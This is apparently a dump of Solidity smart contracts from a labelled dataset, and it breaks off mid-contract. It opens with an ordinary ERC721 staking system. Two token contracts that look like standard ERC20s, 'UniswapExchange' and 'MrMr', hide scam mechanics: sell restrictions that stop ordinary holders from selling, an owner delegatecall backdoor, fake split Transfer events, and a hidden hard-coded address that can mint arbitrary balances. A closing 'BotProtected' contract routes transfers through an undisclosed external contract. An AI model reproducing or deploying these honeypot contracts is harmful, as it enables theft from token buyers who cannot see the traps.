function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity 0.6.12;
contract UnicStakingERC721 is AccessControl, ERC721, IMintableCollection {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor(
string memory name,
string memory symbol,
string memory baseURI
) public ERC721(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
function burn(uint256 tokenId) public override virtual {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"UnicStakingERC721: caller is not owner nor approved"
);
_burn(tokenId);
}
function setBaseURI(string memory baseURI) public {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"UnicStakingERC721: must have admin role to change baseUri"
);
_setBaseURI(baseURI);
}
function mint(address to, uint256 tokenId) public override virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"UnicStakingERC721: must have minter role to mint"
);
_mint(to, tokenId);
}
}
pragma solidity 0.6.12;
contract UnicStaking is Initializable, EmergencyWithdrawable, IRewardable, PausableUpgradeable {
using SafeMath for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
struct StakerInfo {
uint256 nftId;
uint256 amount;
uint256 stakeStartTime;
uint256 lockDays;
uint256 rewardDebt;
address rewardToken;
uint16 multiplier;
}
struct LockMultiplier {
uint16 multiplier;
bool exists;
}
struct RewardPool {
IERC20Upgradeable rewardToken;
uint256 stakedAmount;
uint256 stakedAmountWithMultipliers;
uint256 totalRewardAmount;
uint256 accRewardPerShare;
uint256 lastRewardAmount;
}
IERC20Upgradeable private stakingToken;
IMintableCollection private nftCollection;
uint256 public minStakeAmount;
uint256 private nftStartId;
mapping(uint256 => StakerInfo) public stakes;
mapping(address => RewardPool) public pools;
mapping(uint256 => LockMultiplier) public lockMultipliers;
uint256 private constant DIV_PRECISION = 1e18;
event AddRewards(address indexed rewardToken, uint256 amount);
event Staked(
address indexed account,
address indexed rewardToken,
uint256 nftId,
uint256 amount,
uint256 lockDays
);
event Harvest(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event Withdraw(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event LogUpdateRewards(address indexed rewardToken, uint256 totalRewards, uint256 accRewardPerShare);
modifier poolExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) != address(0), "UnicStaking: Pool does not exist");
_;
}
modifier poolNotExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) == address(0), "UnicStaking: Pool does already exist");
_;
}
function initialize(
IERC20Upgradeable _stakingToken,
IMintableCollection _nftCollection,
uint256 _nftStartId,
uint256 _minStakeAmount
) public initializer {
__Ownable_init();
stakingToken = _stakingToken;
nftCollection = _nftCollection;
nftStartId = _nftStartId;
minStakeAmount = _minStakeAmount;
}
function setLockMultiplier(uint256 lockDays, uint16 multiplier) external onlyOwner {
require(multiplier >= 100, "Minimum multiplier = 100");
lockMultipliers[lockDays] = LockMultiplier({
multiplier: multiplier,
exists: true
});
}
function setMinStakeAmount(uint256 _minStakeAmount) external onlyOwner {
minStakeAmount = _minStakeAmount;
}
function stake(uint256 amount, uint256 lockDays, address rewardToken)
external
whenNotPaused
poolExists(rewardToken)
{
require(
amount >= minStakeAmount,
"UnicStaking: Amount must be greater than or equal to min stake amount"
);
require(
lockMultipliers[lockDays].exists,
"UnicStaking: Invalid number of lock days specified"
);
updateRewards(rewardToken);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
StakerInfo storage staker = stakes[nftStartId];
staker.stakeStartTime = block.timestamp;
staker.amount = amount;
staker.lockDays = lockDays;
staker.multiplier = lockMultipliers[lockDays].multiplier;
staker.nftId = nftStartId;
staker.rewardToken = rewardToken;
RewardPool storage pool = pools[rewardToken];
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
staker.rewardDebt = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
pool.stakedAmount = pool.stakedAmount.add(amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.add(virtualAmount);
nftStartId = nftStartId.add(1);
nftCollection.mint(msg.sender, nftStartId - 1);
emit Staked(msg.sender, rewardToken, nftStartId - 1, amount, lockDays);
}
function withdraw(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(address(staker.rewardToken) != address(0), "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may withdraw"
);
require(
(staker.stakeStartTime.add(staker.lockDays)) < block.timestamp,
"UnicStaking: Lock time not expired"
);
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
nftCollection.burn(nftId);
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
stakingToken.safeTransfer(msg.sender, reward.add(staked));
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
emit Withdraw(msg.sender, address(staker.rewardToken), nftId, staked);
}
function updateRewards(address rewardToken) private poolExists(rewardToken) {
RewardPool storage pool = pools[rewardToken];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
pool.accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
pool.lastRewardAmount = pool.totalRewardAmount;
emit LogUpdateRewards(rewardToken, pool.lastRewardAmount, pool.accRewardPerShare);
}
}
function createPool(address rewardToken) external onlyOwner poolNotExists(rewardToken) {
RewardPool memory pool = RewardPool({
rewardToken: IERC20Upgradeable(rewardToken),
stakedAmount: 0,
stakedAmountWithMultipliers: 0,
totalRewardAmount: 0,
accRewardPerShare: 0,
lastRewardAmount: 0
});
pools[rewardToken] = pool;
}
function addRewards(address rewardToken, uint256 amount) override external poolExists(rewardToken) {
require(amount > 0, "UnicStaking: Amount must be greater than zero");
IERC20Upgradeable(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
RewardPool storage pool = pools[rewardToken];
pool.totalRewardAmount = pool.totalRewardAmount.add(amount);
emit AddRewards(rewardToken, amount);
}
function harvest(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may harvest"
);
updateRewards(address(staker.rewardToken));
RewardPool memory pool = pools[address(staker.rewardToken)];
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward;
if (accumulated > staker.rewardDebt) {
reward = accumulated.sub(staker.rewardDebt);
}
staker.rewardDebt = accumulated;
pool.rewardToken.safeTransfer(msg.sender, reward);
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
}
function pendingReward(uint256 nftId) external view returns (uint256) {
StakerInfo memory staker = stakes[nftId];
require(staker.nftId > 0, "StakingPool: No staker exists");
RewardPool memory pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 accRewardPerShare = 0;
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
}
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(accRewardPerShare).div(DIV_PRECISION);
if (staker.rewardDebt > accumulated) {
return 0;
}
return accumulated.sub(staker.rewardDebt);
}
function virtualAmount(uint256 amount, uint256 multiplier) private view returns (uint256) {
return amount.mul(multiplier.mul(DIV_PRECISION).div(100)).div(DIV_PRECISION);
}
function getStakeWithMultiplier(uint256 nftId) external view returns (uint256 stakeWithMultiplier){
StakerInfo memory staker = stakes[nftId];
stakeWithMultiplier = virtualAmount(staker.amount, staker.multiplier);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
}
pragma solidity 0.6.12;
contract AdvStakingProxyFarmer {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public unic;
IERC20 public token;
address public farm;
address public staking;
uint256 public pid;
bool public initialized = false;
uint256 private constant MAX_INT = 2**256 - 1;
function initialize() external {
require(!initialized, "AdvStakingProxyFarmer: Already initialized");
token.approve(farm, 1);
unic.approve(staking, MAX_INT);
UnicFarm(farm).deposit(pid, 1);
initialized = true;
}
function addRewards() public {
require(initialized, "AdvStakingProxyFarmer: Not initialized");
UnicFarm(farm).deposit(pid, 0);
UnicStaking(staking).addRewards(address(unic), unic.balanceOf(address(this)));
}
constructor(
IERC20 _unic,
IERC20 _token,
address _farm,
address _staking,
uint256 _pid
) public {
unic = _unic;
token = _token;
farm = _farm;
staking = _staking;
pid = _pid;
}
} | 0 | 115 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,821 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MrMr {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,494 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
